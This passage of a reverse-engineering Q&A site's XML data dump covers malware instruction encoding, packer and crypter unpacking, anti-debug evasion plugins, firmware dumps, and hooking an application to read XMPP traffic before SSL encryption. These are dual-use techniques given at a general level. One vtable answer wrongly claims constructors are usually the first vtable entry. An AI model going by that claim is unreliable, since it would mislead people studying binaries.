not, the above solution should work.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-06-11T16:58:14.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12832" PostTypeId="2" ParentId="12820" CreationDate="2016-06-11T17:23:05.643" Score="1" Body="&lt;p&gt;Try to use newer version of ollydbg or &lt;a href=&quot;http://x64dbg.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt; (a modern and open-source ollydbg-like) with anti-debug tricks plugins like a &lt;a href=&quot;https://github.com/mrexodia/TitanHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;TitanHide&lt;/a&gt; or &lt;a href=&quot;https://bitbucket.org/NtQuery/scyllahide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt; to avoid detection by the packer.&lt;/p&gt;&#xA;" OwnerUserId="15927" LastEditorUserId="37138" LastEditDate="2021-06-20T10:40:53.490" LastActivityDate="2021-06-20T10:40:53.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12834" PostTypeId="1" AcceptedAnswerId="12836" CreationDate="2016-06-12T03:52:59.780" Score="11" ViewCount="884" Body="&lt;p&gt;I came around a piece of malware which i am analyzing and have found that it uses some kind of math to randomly selecting a register for a specific instruction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which i don't understand how this operation is calculated depend on what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what i mean&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let's say that i wanted to randomly pick up a register for the instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD DWORD PTR DS:[0],EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We know the opcode for this instruction is 01 &lt;strong&gt;05&lt;/strong&gt; 00 00 00 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bold number represents the register for this instruction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;05 == EAX&#xA;0D == ECX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To better explain this here is the instruction with all the registers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0041580B    0105 00000000   ADD DWORD PTR DS:[0],EAX&#xA;00415811    010D 00000000   ADD DWORD PTR DS:[0],ECX&#xA;00415817    0115 00000000   ADD DWORD PTR DS:[0],EDX&#xA;0041581D    011D 00000000   ADD DWORD PTR DS:[0],EBX&#xA;00415823    0125 00000000   ADD DWORD PTR DS:[0],ESP&#xA;00415829    012D 00000000   ADD DWORD PTR DS:[0],EBP&#xA;0041582F    0135 00000000   ADD DWORD PTR DS:[0],ESI&#xA;00415835    013D 00000000   ADD DWORD PTR DS:[0],EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The malware uses a register index starting from 0 (EAX) till 7 (EDI)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number is get SHLed first with the number 3 then it is ORed with 5 to get the right register opcode. So my question is how the author came to the conclusion of that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say that SHL REG,3 equals REG*8 that is the number of max registers? but why do we need to OR it with 05? is it because the starting opcode of this instruction is 05?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a better explanation for this? or any hint words for a better comprehend?&lt;/p&gt;&#xA;" OwnerUserId="8610" LastEditorUserId="-1" LastEditDate="2016-12-30T20:01:25.150" LastActivityDate="2016-12-30T20:01:25.150" Title="Randomly picking up a x86 register for an instruction" Tags="|assembly|x86|malware|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12835" PostTypeId="2" ParentId="12827" CreationDate="2016-06-12T08:24:32.020" Score="0" Body="&lt;p&gt;Found it in the boot.oat file.&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2016-06-12T08:24:32.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12836" PostTypeId="2" ParentId="12834" CreationDate="2016-06-12T08:54:56.727" Score="18" Body="&lt;p&gt;To better understand this, you need to study instruction encoding formats i.e. x86 for this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An x86 instruction looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------------------+--------+--------+-----+--------------+-----------+&#xA;| Instruction prefixes | Opcode | ModR/M | SIB | Displacement | Immediate |&#xA;+----------------------+--------+--------+-----+--------------+-----------+&#xA;|          0-4         |   1-3  |   0-1  | 0-1 |      0-4     |    0-4    |&#xA;+----------------------+--------+--------+-----+--------------+-----------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The numbers on the second row indicates the length in bytes of the corresponding part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the instruction,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010D 00000000   ADD DWORD PTR DS:[0],ECX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there is no instruction prefix.&#xA;The opcode for &lt;code&gt;ADD&lt;/code&gt; is &lt;code&gt;01&lt;/code&gt; (&lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_5.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second byte of the instruction i.e &lt;code&gt;ModR/M&lt;/code&gt;is &lt;code&gt;0D&lt;/code&gt;.&#xA;The &lt;code&gt;ModR/M&lt;/code&gt; byte provides addressing information about the instruction. It specifies whether an operand is in a register or in memory; if it is in memory, then fields within the byte specify the addressing mode to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ModR/M&lt;/code&gt; byte can be broken down into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----+------------+-----+&#xA;| Mod | Reg/Opcode | R/M |&#xA;+-----+------------+-----+&#xA;|  2  |      3     |  3  |&#xA;+-----+------------+-----+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the numbers on the second row indicates the length in bits of the corresponding parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Mod&lt;/code&gt; field (2 bits) combines with the &lt;code&gt;R/M&lt;/code&gt; field (3 bits) to form 32 possible values 8 registers and 24 addressing modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Reg/Opcode&lt;/code&gt; field (3 bits) specifies either a register number or three more bits of opcode information; the &lt;code&gt;r/m&lt;/code&gt; field (3 bits) can specify a register as the location of an operand, or it can form part of the addressing-mode encoding in combination with the &lt;code&gt;Mod&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, convert the &lt;code&gt;ModR/M&lt;/code&gt; i.e &lt;code&gt;0D&lt;/code&gt; to binary. You would get.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----+------------+-----+&#xA;| Mod | Reg/Opcode | R/M |&#xA;+-----+------------+-----+&#xA;|  00 |     001    | 101 |&#xA;+-----+------------+-----+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Mod&lt;/code&gt; and &lt;code&gt;R/M&lt;/code&gt; fields are &lt;code&gt;00&lt;/code&gt; and &lt;code&gt;101&lt;/code&gt; respectively. This indicates displacement only addressing mode. See the table below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mGqsS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mGqsS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For all the instructions this mode of addressing is used, hence the reason for  &lt;code&gt;OR&lt;/code&gt;ing with 5 (in binary 101) to set that particular bit pattern.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming to the &lt;code&gt;Reg/Opcode&lt;/code&gt; field, this indicates a register. &#xA;&lt;br&gt;&lt;code&gt;001&lt;/code&gt; is the register index for &lt;code&gt;ECX&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first instruction i.e&#xA;&lt;br&gt;&lt;code&gt;0105 00000000   ADD DWORD PTR DS:[0],EAX&lt;/code&gt; &#xA;&lt;br&gt;this field is &lt;code&gt;000&lt;/code&gt; standing for &lt;code&gt;EAX&lt;/code&gt;. You can check by converting &lt;code&gt;05&lt;/code&gt; to binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See more in the table below taken from &lt;a href=&quot;http://www.c-jump.com/CIS77/CPU/x86/X77_0060_mod_reg_r_m_byte.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ljow1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ljow1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So basically the register value was &lt;code&gt;SHL&lt;/code&gt;ed with 3 to move it to the correct position. The Reg/Opcode field is 3 bits from the right.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally the last 4 bytes are &lt;code&gt;00000000&lt;/code&gt;. This represents the displacement which is zero in this example.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2016-06-12T18:49:26.010" LastActivityDate="2016-06-12T18:49:26.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12837" PostTypeId="1" CreationDate="2016-06-13T06:29:11.403" Score="1" ViewCount="111" Body="&lt;p&gt;I'm performing static analysis on system framework code, and some of the interesting ones seem to be talking to daemons via sockets. How do I get to the source of the daemons to see what they do with the data being sent over? I suppose these are C code rather than java? Do the binaries reside as ELF binaries somewhere or compiled into a library? How do I figure it out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2016-06-13T06:29:11.403" Title="How to get to daemon source?" Tags="|android|" AnswerCount="0" CommentCount="3" ClosedDate="2016-06-26T15:28:56.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="12838" PostTypeId="1" CreationDate="2016-06-13T09:23:02.880" Score="2" ViewCount="899" Body="&lt;p&gt;I downloaded &lt;a href=&quot;http://blog.danman.eu/wp-content/uploads/lenkeng-new.zip&quot; rel=&quot;noreferrer&quot;&gt;firmware&lt;/a&gt; from 4MB spi flash in HDMI extender (&lt;a href=&quot;https://blog.danman.eu/new-version-of-lenkeng-hdmi-over-ip-extender-lkv373a/&quot; rel=&quot;noreferrer&quot;&gt;more info here&lt;/a&gt;). It contains following sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000 – 0x00024e03 – SMEDIA02 …….456789ABCDEF (encoded – some strings suggesting bootloader)&#xA;0x00080000 – 0x0016ee5d – SMEDIA02 …….456789ABCDEF (encoded – probably the main firmware)&#xA;0x00250000 – 0x00250200 – some zeroes with some data&#xA;0x00257e00 – FAT with webroot&#xA;0x00367e00 – FAT with config&#xA;0x003e0000 – MAC + 2 unknown bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm interested in first two sections. The first one seems to be a bootloader and the second one the main firmware. There are some other unknown parts in the firmware which might be some kind of a key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help decode those first two sections? &lt;/p&gt;&#xA;" OwnerUserId="16386" LastActivityDate="2016-06-13T09:23:02.880" Title="Flash dump with encoded firmware" Tags="|firmware|flash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12843" PostTypeId="1" CreationDate="2016-06-13T21:45:15.783" Score="2" ViewCount="1822" Body="&lt;p&gt;The problem with this, as I know from experience in dealing with this exact same issue is the firmware in the CGA/EGA/VGA converter board. There is an update that needs to be written to the converter board in order for the POG T340+ boards to work with them, I've had to do the exact same thing. I ordered 40 of the converter boards and then shipped them to a guy in Florida that updated the firmware in all of them to work with my POG T340+ boards. I personally don't have the cables to update the firmware in the converter boards but I think it's done using HyperTerminal in windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some(ALOT) of them Chinese CGA/EGA to VGA converter boards, unfortunately I cant get them to work with what I need. After some googling I see it as a common problem with them is a bad batch of firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GBS-8200 styled board. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/InvyH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/InvyH.jpg&quot; alt=&quot;img&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to take the RGBS out of a &lt;a href=&quot;http://www.gametown.info/pot-o-gold-t340-game-pcb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;POG board&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/98VRh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/98VRh.jpg&quot; alt=&quot;img&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking through the POG manuals, I don't see any information on its sync, or clamp settings ext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked through the GBS-8200 it says there is a i2c isp header for updating the firmware, but no relevant links on where to get it or how to put it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think either the settings or wrong, or that the boards don't have working firmware. I bought a couple to see if it was a device problem, but dosent seem to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iv tested the POG board using my friends CGA compatible CRT and it comes up just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get as far as soldering the pins to the I2C interface for updating, but I don't know what the command is nor do I have the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried pulling the firmware using my MINIPRO-TL866 programmer, but there docent seem to be a setting for the mtv230mv chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my OS is linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;After lurking Russian and Arabic hacker forums (&quot;And being probably put on several NSA watch-lists for registering on them&quot;) I located what i believe to be the firmware. And some program to flash it with. So, Now i need to figure out how to use Postal2 ext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a friend came over and lent me his motherboard with the same chip-set, but different firmware and it worked like a charm. So that proves this can work. I also poped the chip off and used it on my board ant it worked, so its definitely firmware on the MTV230&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the datasheet for the MTV230 &lt;a href=&quot;http://datasheet.seekic.com/datasheet-picture/1200626_ETC_[ETC]_MTV230M.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;datasheet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clarification:&#xA;How do I write/read the firmware to the MTV230 using its I2C interface?&#xA;Using a Arduino, or a USB I2C adapter on Linux. &lt;/p&gt;&#xA;" OwnerUserId="16091" LastEditorUserId="13506" LastEditDate="2018-12-29T22:44:02.557" LastActivityDate="2018-12-29T22:44:02.557" Title="Knockoff CGA/EGA to vga firmware update" Tags="|linux|firmware|" AnswerCount="0" CommentCount="7" ClosedDate="2016-06-26T15:30:56.377" ContentLicense="CC BY-SA 4.0" />
  <row Id="12845" PostTypeId="1" CreationDate="2016-06-06T13:07:39.933" Score="1" ViewCount="102" Body="&lt;p&gt;I have a &lt;a href=&quot;http://www.andor.com/scientific-cameras/apogee-camera-range/accessories/filter-wheels&quot; rel=&quot;nofollow&quot;&gt;Apogee filter-wheel&lt;/a&gt; which is connected via USB and the driver for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as far as I could find out the device only comes with a driver but no application to control it. The filter wheels are apparently usually bundled with a camera and both are apparently meant to be controlled together via commercial 3rd party software. I don't have this 3rd party software and I also don't want to use it if I can avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only experience with USB devices/applications/drivers was quite long ago and that device (a USB-controllable power socket) used a HID-protocol which made is quite easy to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to take a look into the driver to see what functionality it offers and how to use it? E.g. like looking at a DLL with depends.exe to find exposed functions? I found a &lt;a href=&quot;http://www.randomfactory.com/downloads/&quot; rel=&quot;nofollow&quot;&gt;Linux library&lt;/a&gt; that deals with those devices but this seems also mostly about the cameras. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice how I could access the filter wheel on Windows 7? I just want to turn the filter wheel.&lt;/p&gt;&#xA;" OwnerDisplayName="katzenversteher" LastActivityDate="2016-06-14T11:58:55.137" Title="How can I control a USB device if I have a driver for it, but no application?" Tags="|windows|usb|driver|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12847" PostTypeId="2" ParentId="12788" CreationDate="2016-06-15T02:21:13.590" Score="1" Body="&lt;p&gt;RC4 can be unpacked manually using OLLYDBG and break-pointing on VirtualAlloc&#xA;Enigma is triky because there is enigma protector which is a packer of course its just a matter of finding Original Entry Point&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the hardest is Enigma Vitualbox which is a crypter fully undetectable by PEiD but somebody released a program to unpack it, in my case the program didnt successfully decrypt Enigma it doesnt find engma entrypoint so i used ollydbg to manually break on CreateProcessA&lt;/p&gt;&#xA;" OwnerUserId="13301" LastActivityDate="2016-06-15T02:21:13.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12848" PostTypeId="1" CreationDate="2016-06-15T03:11:10.793" Score="4" ViewCount="2446" Body="&lt;p&gt;Is there a plugin for IDA Pro to enable me to add x64dbg debugger support to IDA Pro 6.8 or 6.9?&lt;/p&gt;&#xA;" OwnerUserId="4658" LastEditorUserId="60" LastEditDate="2017-08-17T13:22:46.177" LastActivityDate="2017-08-17T13:22:46.177" Title="IDA Pro Plugin to add x64dbg" Tags="|ida-plugin|x64dbg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12850" PostTypeId="1" CreationDate="2016-06-15T13:16:22.413" Score="1" ViewCount="239" Body="&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I am &lt;strong&gt;very&lt;/strong&gt; new to Reverse Engineering, though it captivates me. Hence, I'm apologizing beforehand if I say anything ridiculous in the following, and hope you will help me find the way!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Context:&lt;/strong&gt; I have an application which seems coded in Adobe AIR and running on my x64 Windows 7. This application does a lot of things, but what interests me is: it communicates with an &lt;strong&gt;XMPP&lt;/strong&gt; server through port 5223, through &lt;strong&gt;SSL&lt;/strong&gt;. My goal is to be able to read the XML requests sent by the client to the server &lt;strong&gt;before&lt;/strong&gt; they are SSL-encrypted (so right after the request is created, but right before it is encrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unsuccessful tries:&lt;/strong&gt; I attempted to set up a &lt;strong&gt;MitM&lt;/strong&gt;, but the application won't accept my custom-crafted certificate because it is different from the real server certificate. I also attempted to use &lt;strong&gt;Echo Mirage&lt;/strong&gt;, but without any success.&#xA;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&#xA;I have read a bit about &lt;a href=&quot;https://en.wikipedia.org/wiki/Hooking&quot; rel=&quot;nofollow&quot;&gt;hooking&lt;/a&gt;, and figured it was adapted to my problem. I was thinking: if I can get the application to print the XMPP request before SSL-encrypting it, the job would be done. To do so, implementing a C# hook with &lt;a href=&quot;https://easyhook.github.io/&quot; rel=&quot;nofollow&quot;&gt;EasyHook&lt;/a&gt; seemed like a good idea to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I largely mistaken? If not, how exactly would I go about getting my hook function to print the requests, and before which function call should I place it?&lt;br/&gt;I am open to any documentation you might have for me!&lt;/p&gt;&#xA;" OwnerUserId="16411" LastActivityDate="2016-08-14T16:04:54.420" Title="How would I go about getting an application's XMPP request before it is SSL-encrypted?" Tags="|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12853" PostTypeId="2" ParentId="12850" CreationDate="2016-06-15T14:31:37.127" Score="2" Body="&lt;p&gt;Thanks for providing a good amount of context in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, hooking is the way to go. The function that you'd want to hook is the function that performs the SSL encryption, as it would be the function that receives the plaintext as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hard part is finding that encryption function. To do so, I recommend that you use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx&quot; rel=&quot;nofollow&quot;&gt;Process Monitor&lt;/a&gt; to capture the network-send events and double-click on those events to see the callstack. You can then use a disassembler and/or a debugger to analyze the functions in the callstack that are called prior to the low-level network send call. This will help you narrow down which functions to analyze so that you can more easily find the function that performs the encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can try to find the encryption function by searching for cryptographic functions via a tool like &lt;a href=&quot;https://www.aldeid.com/wiki/PEiD#Krypto_Analyzer&quot; rel=&quot;nofollow&quot;&gt;PEiD with its Krypto ANALyzer plugin&lt;/a&gt; and then analyzing them with a disassembler.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-06-15T14:31:37.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12854" PostTypeId="1" AcceptedAnswerId="12855" CreationDate="2016-06-15T17:25:57.953" Score="2" ViewCount="352" Body="&lt;p&gt;I try to use a simple hook on different memory allocation functions in Immunity. But the hook doesn't react at all (no logging).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all my hook class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class AllocHook(LogBpHook):&#xA;    def __init__(self):&#xA;        LogBpHook.__init__(self)&#xA;&#xA;    def run(self, regs):&#xA;        imm = immlib.Debugger()&#xA;        imm.log(&quot;     ++++++++++++++++++ HOOOKED&quot;)&#xA;        imm.log(str(regs))&#xA;        imm.log(&quot;     ++++++++++++++++++ HOOOKED&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function to init and add the hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def hookAlloc(imm):&#xA;    global vAllocHo&#xA;    # Retrieve address of Allocs&#xA;    # Create hook object and add hook&#xA;    va1 = imm.getAddress(&quot;kernel32.LocalAlloc&quot;)&#xA;    vAllocHo = AllocHook()&#xA;    vAllocHo.add(&quot;va alloc&quot;,va1)&#xA;    vAllocHo.enable()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the &lt;code&gt;log&lt;/code&gt; appears in the breakpoint window, but the &lt;code&gt;run()&lt;/code&gt; function actually never gets called. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoints, item 26&#xA;Address=76C91668 kernel32.LocalAlloc&#xA;Module=kernel32&#xA;Active=Log&#xA;Disassembly=MOV EDI,EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The log messages of the breakpoints are at least disappearing when the hook is activated. For example, after activating the hook, the following logging messages are not displayed anymore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data, item 40&#xA;Address=76C91668 &#xA;Message=[19:12:51] Breakpoint at kernel32.LocalAlloc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there special settings in the options left, which I have to consider first?&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-06-15T18:15:27.267" Title="Hooking in Immunity - LogBpHook not working" Tags="|debugging|immunity-debugger|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12855" PostTypeId="2" ParentId="12854" CreationDate="2016-06-15T18:15:27.267" Score="1" Body="&lt;p&gt;In the heat of the moment I didn't start Immunity as an Administrator.&#xA;So missing privileges have caused this behaviour during the debugging process.&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-06-15T18:15:27.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12856" PostTypeId="2" ParentId="12460" CreationDate="2016-06-16T00:55:18.597" Score="4" Body="&lt;p&gt;Radare2 may be what you are looking for: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow&quot;&gt;https://github.com/radare/radare2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They lift everything to an intermediate language called ESIL so that it can be emulated easily. This code can be programmatically accessed, analyzed and driven through their libraries or through bindings in C, Python, etc. They have way more architectures and file formats than you even mention. You may be able to do everything you need with this.&lt;/p&gt;&#xA;" OwnerUserId="16422" LastActivityDate="2016-06-16T00:55:18.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12857" PostTypeId="1" AcceptedAnswerId="12859" CreationDate="2016-06-16T01:20:52.197" Score="4" ViewCount="1339" Body="&lt;p&gt;I'm currently reversing two binaries compiled using the same exact C++ codebase. The two binaries were compiled on two different systems with different architectures: x64 on Windows and ARMv7 on Android. The Windows binary was compiled with MSVC, while the Android binary I believe was compiled with GCC (may also be Clang). Lastly, the Android binary has its symbol table completely intact, while the Windows binary has RTTI which I can use to name vtables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Android binary as reference to help reverse the Windows binary. What I've noticed so far is that vtable entries between the two binaries seem to be in the same order, i.e. the same function can be found at the same vtable index in both binaries. However, what I'm wondering is if it's safe to assume they will always be in the same order, or if the order changes depending on the compiler.&lt;/p&gt;&#xA;" OwnerUserId="16409" LastEditorUserId="16409" LastEditDate="2016-06-16T05:39:18.660" LastActivityDate="2016-06-16T09:03:18.283" Title="Does the order of vtable entries vary depending on the compiler?" Tags="|vtables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12858" PostTypeId="1" CreationDate="2016-06-16T05:04:23.427" Score="0" ViewCount="5173" Body="&lt;p&gt;This one should be simple, but I can't figure it out. How do I log a string in x64dbg? I can log the address with a breakpoint but wasn't able to log the actual text.&lt;/p&gt;&#xA;" OwnerUserId="13018" LastEditorUserId="18804" LastEditDate="2017-03-14T08:41:32.050" LastActivityDate="2022-02-09T11:57:40.423" Title="How do I log a string in x64dbg?" Tags="|disassembly|debuggers|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12859" PostTypeId="2" ParentId="12857" CreationDate="2016-06-16T09:03:18.283" Score="2" Body="&lt;p&gt;&lt;strong&gt;In General&lt;/strong&gt;, &lt;strong&gt;with modern operating systems&lt;/strong&gt;, the order won't depend on the compiler, but it &lt;strong&gt;may&lt;/strong&gt; depend on the operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any modern operating system does not just define the operating system API, but also, lots of standard libraries that make it easier for programs to access that API. Also, there's a lot of libraries that offer services that don't translate directly to the OS API, but provide a generalized API for something else. Like QT for Linux, or MSVC for windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're a compiler vendor (for a relaxed definition of &quot;vendor&quot; as most compilers are free today), you want the code that your compiler generates to be able to interface with these standard libraries. If you try to get people to use &quot;your&quot; compiler, but tell them they can't use the interfaces the OS, or standard libraries, provide, you'll have a hard time convincing them. Which means, any compiler generating Windows code will make sure it adheres to the MSVC standards. Any compiler generating Linux code will adhere to the &lt;a href=&quot;https://gcc.gnu.org/gcc-3.2/c++-abi.html&quot; rel=&quot;nofollow&quot;&gt;Linux/BSD standards of gcc&lt;/a&gt; . This is not just about layout of vtables, it encompasses name mangling, register and stack usage for function arguments/return values, handling of floating point, and lots of other stuff as well. The name for that is the ABI (application binary interface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this wasn't always the case; in the late days of DOS/early days of Windows, when Microsoft C(++) and Watcom C(++) were the (most important) competitors, they had hugely different ABIs. You couldn't (without going through a lot of extra hoops) link a program compiled with Watcom to a library compiled with MS, but that wasn't a big deal then, as the compilers included all libraries anyways, and open source libraries to be included in your program were (mostly) unheard of. (Watcom didn't even use vtables back then; they used function pointers within each object that got instantiated every time a new object was created). So, the farther you go back in time, the less probable it is that two compilers for the same OS share the same ABI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Across operating systems, you don't have this neccesity to make libraries compatible, so there's more leeway in handling things differently. However, you'll typically make the same decicions when defining your ABI. Your class constructor will typically be the first vtable entry as every class needs a constructor. The destructor will typically be the second entry as every class needs a destructor. The other vtable entries will typically be next in the vtable, in the order they appear in the source code. Not because you try to be compatible with anything else; just because it's the easiest way to implement something you need to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which also means you can't rely on that. If there's a new company, let's call them &lt;em&gt;Orange&lt;/em&gt;, designs a new device with an operating system they call O-IS (Orange Integration System), they might want to roll their own compiler. Maybe they decide that, in their ABI, method names should be sorted alphabetically in their vtables. Maybe they make decisions how to handle multiple inheritance and and virtual functions that are different from how MSVC and gcc handle these things. And when O-IS comes out, and the gcc people decide they want gcc to be able to compile for O-IS, they'll adjust their code generation to the new standard that 